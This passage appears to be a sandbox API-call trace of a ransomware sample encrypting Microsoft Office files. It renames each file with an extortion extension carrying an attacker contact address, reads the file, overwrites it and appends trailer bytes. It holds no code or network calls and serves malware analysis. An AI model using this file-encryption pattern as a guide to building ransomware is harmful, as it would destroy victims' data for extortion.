ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfdc, dwReserved0=0xc0c7496, dwReserved1=0x727d78, cFileName="BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~3.FIR")) returned 0x6d5540 [0134.314] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0134.315] Sleep (dwMilliseconds=0x1) [0134.321] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", len=0x44 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 1 [0134.321] GetProcessHeap () returned 0x630000 [0134.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x19c) returned 0x66a3e0 [0134.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0134.322] CloseHandle (hObject=0x6a8) returned 1 [0134.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0023~1.FIR")) returned 0x6d5200 [0134.324] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0134.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0134.324] GetProcessHeap () returned 0x630000 [0134.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2461) returned 0x72af4d8 [0134.324] GetProcessHeap () returned 0x630000 [0134.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2461) returned 0x6f60af8 [0134.324] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.324] ReadFile (in: hFile=0x6a8, lpBuffer=0x72af4d8, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72af4d8*, lpNumberOfBytesRead=0x323ff0c*=0x2440, lpOverlapped=0x0) returned 1 [0136.407] GetProcessHeap () returned 0x630000 [0136.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0136.407] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.407] WriteFile (in: hFile=0x6a8, lpBuffer=0x6f60af8*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesWritten=0x323ff0c*=0x2440, lpOverlapped=0x0) returned 1 [0136.407] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.407] WriteFile (in: hFile=0x6a8, lpBuffer=0x6f62f37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62f37*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.407] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.407] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.407] CloseHandle (hObject=0x6a8) returned 1 [0136.409] GetProcessHeap () returned 0x630000 [0136.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0136.409] GetProcessHeap () returned 0x630000 [0136.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72af4d8 | out: hHeap=0x630000) returned 1 [0136.409] GetProcessHeap () returned 0x630000 [0136.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1740ce5a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x247c, dwReserved0=0xc0c7496, dwReserved1=0x72af4d0, cFileName="BL00234_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0023~1.FIR")) returned 0x6d5200 [0136.409] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0136.409] Sleep (dwMilliseconds=0x1) [0138.217] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", len=0x55 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml") returned 1 [0138.217] GetProcessHeap () returned 0x630000 [0138.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a74) returned 0x72b0508 [0138.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0138.234] CloseHandle (hObject=0x67c) returned 1 [0138.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0xf108d32a, dwReserved1=0x66002e, cFileName="TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TREBUC~1.FIR")) returned 0x6d4f40 [0138.235] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0138.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0138.235] GetProcessHeap () returned 0x630000 [0138.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x6f1c300 [0138.236] GetProcessHeap () returned 0x630000 [0138.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72427e8 [0138.236] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.236] ReadFile (in: hFile=0x67c, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x323ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.848] GetProcessHeap () returned 0x630000 [0139.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0139.848] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] WriteFile (in: hFile=0x67c, lpBuffer=0x72427e8*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72427e8*, lpNumberOfBytesWritten=0x323ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.848] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] WriteFile (in: hFile=0x67c, lpBuffer=0x72435a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72435a7*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.848] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.849] CloseHandle (hObject=0x67c) returned 1 [0139.849] GetProcessHeap () returned 0x630000 [0139.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72427e8 | out: hHeap=0x630000) returned 1 [0139.849] GetProcessHeap () returned 0x630000 [0139.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0139.849] GetProcessHeap () returned 0x630000 [0139.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0139.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x194ec314, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdfb, dwReserved0=0xc0c7496, dwReserved1=0x6f1c2f8, cFileName="TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TREBUC~1.FIR")) returned 0x6d5200 [0139.849] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.849] Sleep (dwMilliseconds=0x1) [0140.741] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms", len=0x4d | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 1 [0140.741] GetProcessHeap () returned 0x630000 [0140.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c84) returned 0x7203db8 [0140.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0142.700] CloseHandle (hObject=0x6bc) returned 1 [0142.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4f82560, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dcf, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO7E82~1.FIR")) returned 0x6d5200 [0143.053] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0143.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0143.053] GetProcessHeap () returned 0x630000 [0143.053] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x6f13858 [0143.053] GetProcessHeap () returned 0x630000 [0143.053] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x71f0118 [0143.054] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.054] ReadFile (in: hFile=0x6bc, lpBuffer=0x6f13858, nNumberOfBytesToRead=0x4dc0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f13858*, lpNumberOfBytesRead=0x323ff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0145.165] GetProcessHeap () returned 0x630000 [0145.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0145.165] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.165] WriteFile (in: hFile=0x6bc, lpBuffer=0x71f0118*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0118*, lpNumberOfBytesWritten=0x323ff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0145.734] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.734] WriteFile (in: hFile=0x6bc, lpBuffer=0x71f4ed7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4ed7*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.921] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.921] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.921] CloseHandle (hObject=0x6bc) returned 1 [0145.922] GetProcessHeap () returned 0x630000 [0145.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0118 | out: hHeap=0x630000) returned 1 [0145.922] GetProcessHeap () returned 0x630000 [0145.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f13858 | out: hHeap=0x630000) returned 1 [0145.922] GetProcessHeap () returned 0x630000 [0145.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0145.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4df3, dwReserved0=0xc0c7496, dwReserved1=0x6f13850, cFileName="MondoR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO7E82~1.FIR")) returned 0x6d5280 [0145.922] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.922] Sleep (dwMilliseconds=0x1) [0146.018] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL", len=0x3b | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL") returned 1 [0146.018] GetProcessHeap () returned 0x630000 [0146.018] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2778) returned 0x71f7c78 [0146.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.444] CloseHandle (hObject=0x708) returned 1 [0146.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e03f98, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e03f98, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e03f98, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x39e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PEVSLI~1.FIR")) returned 0x6d4e00 [0146.512] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0146.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0146.512] GetProcessHeap () returned 0x630000 [0146.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0146.512] GetProcessHeap () returned 0x630000 [0146.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0146.513] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.513] ReadFile (in: hFile=0x6dc, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.349] GetProcessHeap () returned 0x630000 [0153.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0153.349] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.349] WriteFile (in: hFile=0x6dc, lpBuffer=0x6eef110*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.350] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.350] WriteFile (in: hFile=0x6dc, lpBuffer=0x6efa50f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa50f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.351] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.351] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.351] CloseHandle (hObject=0x6dc) returned 1 [0153.351] GetProcessHeap () returned 0x630000 [0153.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 